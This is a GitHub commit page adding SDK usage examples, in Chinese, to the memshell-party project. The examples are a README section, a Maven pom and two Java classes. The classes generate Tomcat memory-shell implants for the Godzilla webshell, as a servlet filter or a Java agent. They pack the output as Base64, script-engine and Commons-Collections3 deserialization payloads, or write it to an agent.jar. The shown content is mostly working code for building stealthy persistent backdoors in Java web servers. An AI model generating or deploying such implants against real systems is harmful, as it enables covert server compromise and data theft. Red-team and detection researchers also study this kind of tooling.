Skip to content

Commit 78ba0da

Browse files
committed
docs: add sdk usage example
1 parent 27227f1 commit 78ba0da

File tree

4 files changed

+218
-0
lines changed

4 files changed

+218
-0
lines changed

README.md

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,97 @@ docker rm -f memshell-party
7171
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
7272
```
7373

74+
### SDK 集成到现有工具中
75+
76+
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
77+
78+
1. 添加依赖,Maven Or Gradle
79+
80+
```xml
81+
<!-- Maven Repo-->
82+
<dependency>
83+
<groupId>io.github.reajason</groupId>
84+
<artifactId>generator</artifactId>
85+
<version>1.7.0</version>
86+
</dependency>
87+
```
88+
89+
```groovy
90+
// Gradle Repo
91+
implementation 'io.github.reajason:generator:1.7.0'
92+
```
93+
94+
2. 生成 Tomcat Godzilla Filter 内存马示例
95+
96+
```java
97+
ShellConfig shellConfig = ShellConfig.builder()
98+
.server(Server.Tomcat)
99+
.shellTool(ShellTool.Godzilla)
100+
.shellType(ShellType.FILTER)
101+
.shrink(true) // 缩小字节码
102+
.debug(false) // 关闭调试
103+
.build();
104+
105+
InjectorConfig injectorConfig = InjectorConfig.builder()
106+
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
107+
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
108+
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
109+
.build();
110+
111+
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
112+
// .pass("pass")
113+
// .key("key")
114+
// .headerName("User-Agent")
115+
// .headerValue("test")
116+
.build();
117+
118+
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
119+
120+
System.out.println("注入器类名:"+result.getInjectorClassName());
121+
System.out.println("内存马类名:"+result.getShellClassName());
122+
123+
System.out.println(result.getShellConfig());
124+
System.out.println(result.getShellToolConfig());
125+
126+
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
127+
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
128+
```
129+
3. 生成 Tomcat Godzilla AgentFilterChain 示例
130+
```java
131+
ShellConfig shellConfig = ShellConfig.builder()
132+
.server(Server.Tomcat)
133+
.shellTool(ShellTool.Godzilla)
134+
.shellType(ShellType.AGENT_FILTER_CHAIN)
135+
.shrink(true) // 缩小字节码
136+
.debug(false) // 关闭调试
137+
.build();
138+
139+
InjectorConfig injectorConfig = InjectorConfig.builder()
140+
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
141+
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
142+
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
143+
.build();
144+
145+
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
146+
// .pass("pass")
147+
// .key("key")
148+
// .headerName("User-Agent")
149+
// .headerValue("test")
150+
.build();
151+
152+
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
153+
154+
System.out.println("注入器类名:" + result.getInjectorClassName());
155+
System.out.println("内存马类名:" + result.getShellClassName());
156+
157+
System.out.println(result.getShellConfig());
158+
System.out.println(result.getShellToolConfig());
159+
160+
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
161+
Files.write(Paths.get("agent.jar"), agentJarBytes);
162+
```
163+
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
164+
74165
## 适配情况
75166

76167
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>com.reajason.javaweb.maven</groupId>
8+
<artifactId>memshell-party-maven-example</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
11+
<properties>
12+
<maven.compiler.source>8</maven.compiler.source>
13+
<maven.compiler.target>8</maven.compiler.target>
14+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15+
</properties>
16+
17+
<dependencies>
18+
<dependency>
19+
<groupId>io.github.reajason</groupId>
20+
<artifactId>generator</artifactId>
21+
<version>1.0.4</version>
22+
</dependency>
23+
</dependencies>
24+
25+
</project>
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
package com.reajason.javaweb;
2+
3+
import com.reajason.javaweb.memshell.*;
4+
import com.reajason.javaweb.memshell.config.GenerateResult;
5+
import com.reajason.javaweb.memshell.config.GodzillaConfig;
6+
import com.reajason.javaweb.memshell.config.InjectorConfig;
7+
import com.reajason.javaweb.memshell.config.ShellConfig;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2025/4/6
12+
*/
13+
public class Godzilla {
14+
public static void main(String[] args) {
15+
ShellConfig shellConfig = ShellConfig.builder()
16+
.server(Server.Tomcat)
17+
.shellTool(ShellTool.Godzilla)
18+
.shellType(ShellType.FILTER)
19+
.shrink(true) // 缩小字节码
20+
.debug(false) // 关闭调试
21+
.build();
22+
23+
InjectorConfig injectorConfig = InjectorConfig.builder()
24+
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
25+
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
26+
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
27+
.build();
28+
29+
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
30+
// .pass("pass")
31+
// .key("key")
32+
// .headerName("User-Agent")
33+
// .headerValue("test")
34+
.build();
35+
36+
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
37+
38+
System.out.println("注入器类名:" + result.getInjectorClassName());
39+
System.out.println("内存马类名:" + result.getShellClassName());
40+
41+
System.out.println(result.getShellConfig());
42+
System.out.println(result.getShellToolConfig());
43+
44+
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
45+
46+
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
47+
48+
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
49+
}
50+
}
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
package com.reajason.javaweb;
2+
3+
import com.reajason.javaweb.memshell.*;
4+
import com.reajason.javaweb.memshell.config.GenerateResult;
5+
import com.reajason.javaweb.memshell.config.GodzillaConfig;
6+
import com.reajason.javaweb.memshell.config.InjectorConfig;
7+
import com.reajason.javaweb.memshell.config.ShellConfig;
8+
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
9+
10+
import java.nio.file.Files;
11+
import java.nio.file.Paths;
12+
13+
/**
14+
* @author ReaJason
15+
* @since 2025/4/6
16+
*/
17+
public class GodzillaAgent {
18+
19+
public static void main(String[] args) throws Exception {
20+
ShellConfig shellConfig = ShellConfig.builder()
21+
.server(Server.Tomcat)
22+
.shellTool(ShellTool.Godzilla)
23+
.shellType(ShellType.AGENT_FILTER_CHAIN)
24+
.shrink(true) // 缩小字节码
25+
.debug(false) // 关闭调试
26+
.build();
27+
28+
InjectorConfig injectorConfig = InjectorConfig.builder()
29+
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
30+
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
31+
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
32+
.build();
33+
34+
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
35+
// .pass("pass")
36+
// .key("key")
37+
// .headerName("User-Agent")
38+
// .headerValue("test")
39+
.build();
40+
41+
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
42+
43+
System.out.println("注入器类名:" + result.getInjectorClassName());
44+
System.out.println("内存马类名:" + result.getShellClassName());
45+
46+
System.out.println(result.getShellConfig());
47+
System.out.println(result.getShellToolConfig());
48+
49+
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
50+
Files.write(Paths.get("agent.jar"), agentJarBytes);
51+
}
52+
}

0 commit comments

Comments
 (0)